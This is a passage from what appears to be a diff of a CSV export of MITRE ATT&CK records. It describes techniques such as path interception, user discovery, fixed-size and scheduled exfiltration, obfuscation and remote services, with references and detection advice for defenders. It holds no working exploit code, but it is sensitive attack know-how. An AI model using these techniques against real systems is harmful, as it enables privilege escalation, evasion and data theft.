'source_name': 'SploitSpren Windows Priv Jan 2018'}, {'url': 'http://msdn.microsoft.com/en-us/library/ms682425', 'description': 'Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', 'source_name': 'Microsoft CreateProcess'}, {'url': 'http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120', 'description': 'Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.', 'source_name': 'Hill NT Shell'}, {'url': 'http://msdn.microsoft.com/en-us/library/ms687393', 'description': 'Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.', 'source_name': 'Microsoft WinExec'}, {'url': 'https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx', 'description': 'Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.', 'source_name': 'MSDN Environment Property'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,False,https://attack.mitre.org/techniques/T1034,mitre-attack,T1034,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Path Interception,"**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).** - -Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019) - -There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. - -### Unquoted Paths -Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. ""C:\safe path with space\program.exe""). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018) - -### PATH Environment Variable Misconfiguration -The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line. - -For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system ""net"" when ""net"" is executed from the command-line. - -### Search Order Hijacking -Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. - -For example, ""example.exe"" runs ""cmd.exe"" with the command-line argument net user. An adversary may place a program called ""net.exe"" within the same directory as example.exe, ""net.exe"" will be run instead of the Windows system utility net. In addition, if an adversary places a program called ""net.com"" in the same directory as ""net.exe"", then cmd.exe /C net user will execute ""net.com"" instead of ""net.exe"" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property) - -Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02,attack-pattern,"['persistence', 'privilege-escalation']",2020-07-06T18:49:35.645Z,2017-05-31T21:30:36.140Z,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters""\u202E"", ""[U+202E]"", and ""%E2%80%AE”.",False,,"['Linux', 'macOS', 'Windows', 'Containers']",,CAPEC-177,https://capec.mitre.org/data/definitions/177.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1033', 'external_id': 'T1033'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/577.html', 'external_id': 'CAPEC-577'}]",1.3,attack-pattern,attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:35.733Z,2021-08-12T13:34:34.153Z,System Owner/User Discovery,"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,['Stefan Kanthak'],,"['User', 'Administrator', 'SYSTEM']",['Windows'],,CAPEC-159,https://capec.mitre.org/data/definitions/159.html,,,"['User', 'Administrator', 'SYSTEM']",,True,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1033', 'external_id': 'T1033'}, {'external_id': 'CAPEC-577', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/577.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1033,mitre-attack,T1033,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Owner/User Discovery,"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.",['discovery'],https://attack.mitre.org/techniques/T1033,mitre-attack,T1033,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Utilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who.",attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104,attack-pattern,['discovery'],2020-03-15T01:03:47.866Z,2017-05-31T21:30:35.733Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,CAPEC-577,https://capec.mitre.org/data/definitions/577.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1030', 'external_id': 'T1030'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:34.523Z,2020-07-14T19:47:46.912Z,Data Transfer Size Limits,An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.,['exfiltration'],https://attack.mitre.org/techniques/T1030,mitre-attack,T1030,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1029', 'external_id': 'T1029'}]",1.1,attack-pattern,attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:34.139Z,2020-03-28T00:26:48.769Z,Scheduled Transfer,"Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution']",,,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,CAPEC-577,https://capec.mitre.org/data/definitions/577.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1030', 'external_id': 'T1030'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,False,https://attack.mitre.org/techniques/T1030,mitre-attack,T1030,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Transfer Size Limits,An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.,attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd,attack-pattern,['exfiltration'],2020-07-14T19:47:46.912Z,2017-05-31T21:30:34.523Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1029', 'external_id': 'T1029'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.1,False,https://attack.mitre.org/techniques/T1029,mitre-attack,T1029,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scheduled Transfer,"Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. - -When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466,attack-pattern,['exfiltration'],2020-03-28T00:26:48.769Z,2017-05-31T21:30:34.139Z,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1027', 'url': 'https://attack.mitre.org/techniques/T1027'}, {'external_id': 'CAPEC-267', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/267.html'}, {'url': 'https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/', 'description': 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', 'source_name': 'Volexity PowerDuke November 2016'}, {'url': 'https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/', 'description': 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.', 'source_name': 'Linux/Cdorked.A We Live Security Analysis'}, {'url': 'https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/', 'description': 'Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', 'source_name': 'Carbon Black Obfuscation Sept 2016'}, {'url': 'https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html', 'description': 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.', 'source_name': 'FireEye Obfuscation June 2017'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf', 'description': 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.', 'source_name': 'FireEye Revoke-Obfuscation July 2017'}, {'url': 'https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/', 'description': 'White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.', 'source_name': 'PaloAlto EncodedCommand March 2017'}, {'url': 'https://github.com/danielbohannon/Revoke-Obfuscation', 'description': 'Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.', 'source_name': 'GitHub Revoke-Obfuscation'}, {'url': 'https://github.com/itsreallynick/office-crackros', 'description': 'Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.', 'source_name': 'GitHub Office-Crackros Aug 2016'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1027,mitre-attack,T1027,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obfuscated Files or Information,"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. +When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",['exfiltration'],https://attack.mitre.org/techniques/T1029,mitre-attack,T1029,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.,False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027', 'external_id': 'T1027'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/267.html', 'external_id': 'CAPEC-267'}, {'source_name': 'Volexity PowerDuke November 2016', 'description': 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', 'url': 'https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/'}, {'source_name': 'Linux/Cdorked.A We Live Security Analysis', 'description': 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.', 'url': 'https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/'}, {'source_name': 'Carbon Black Obfuscation Sept 2016', 'description': 'Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', 'url': 'https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/'}, {'source_name': 'FireEye Obfuscation June 2017', 'description': 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html'}, {'source_name': 'FireEye Revoke-Obfuscation July 2017', 'description': 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf'}, {'source_name': 'PaloAlto EncodedCommand March 2017', 'description': 'White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/'}, {'source_name': 'GitHub Revoke-Obfuscation', 'description': 'Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.', 'url': 'https://github.com/danielbohannon/Revoke-Obfuscation'}, {'source_name': 'GitHub Office-Crackros Aug 2016', 'description': 'Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.', 'url': 'https://github.com/itsreallynick/office-crackros'}]",1.2,attack-pattern,attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:32.662Z,2021-10-20T16:33:13.472Z,Obfuscated Files or Information,"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016) -Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ",attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a,attack-pattern,['defense-evasion'],2021-04-24T13:19:18.594Z,2017-05-31T21:30:32.662Z,"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). +Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ",['defense-evasion'],https://attack.mitre.org/techniques/T1027,mitre-attack,T1027,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Red Canary', 'Christiaan Beek, @ChristiaanBeek']","['Command: Command Execution', 'File: File Metadata', 'File: File Creation', 'Process: Process Creation']","['Host forensic analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'Application control', 'Log analysis', 'Application control by file name or path']","Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''""'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. -The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ","['File: File Content', 'File: File Metadata', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Command: Command Execution']","['Red Canary', 'Christiaan Beek, @ChristiaanBeek']","['Host forensic analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'Application control', 'Log analysis', 'Application control by file name or path']",,"['Linux', 'macOS', 'Windows']",,CAPEC-267,https://capec.mitre.org/data/definitions/267.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1026', 'url': 'https://attack.mitre.org/techniques/T1026'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1026,mitre-attack,T1026,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Multiband Communication,"**This technique has been deprecated and should no longer be used.** +The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ",False,,"['Linux', 'macOS', 'Windows']",,CAPEC-267,https://capec.mitre.org/data/definitions/267.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1025', 'external_id': 'T1025'}]",1.2,attack-pattern,attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:31.584Z,2021-10-15T22:17:35.218Z,Data from Removable Media,"Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. + +Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",['collection'],https://attack.mitre.org/techniques/T1025,mitre-attack,T1025,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['File: File Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,False,,"['Linux', 'macOS', 'Windows']",,,,['Privileges to access removable media drive and files'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021', 'external_id': 'T1021'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'SSH Secure Shell', 'description': 'SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.', 'url': 'https://www.ssh.com/ssh'}, {'source_name': 'TechNet Remote Desktop Services', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'}, {'source_name': 'Remote Management MDM macOS', 'description': 'Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT209161'}, {'source_name': 'Kickstart Apple Remote Desktop commands', 'description': 'Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT201710'}, {'source_name': 'Apple Remote Desktop Admin Guide 3.3', 'description': 'Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.', 'url': 'https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf'}, {'source_name': 'FireEye 2019 Apple Remote Desktop', 'description': 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html'}, {'source_name': 'Lockboxx ARD 2019', 'description': 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.', 'url': 'http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html'}, {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'}]",1.2,attack-pattern,attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:29.858Z,2021-10-15T14:15:07.272Z,Remote Services,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. -Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091,attack-pattern,['command-and-control'],2020-03-30T13:59:11.272Z,2017-05-31T21:30:32.259Z,"Analyze network data 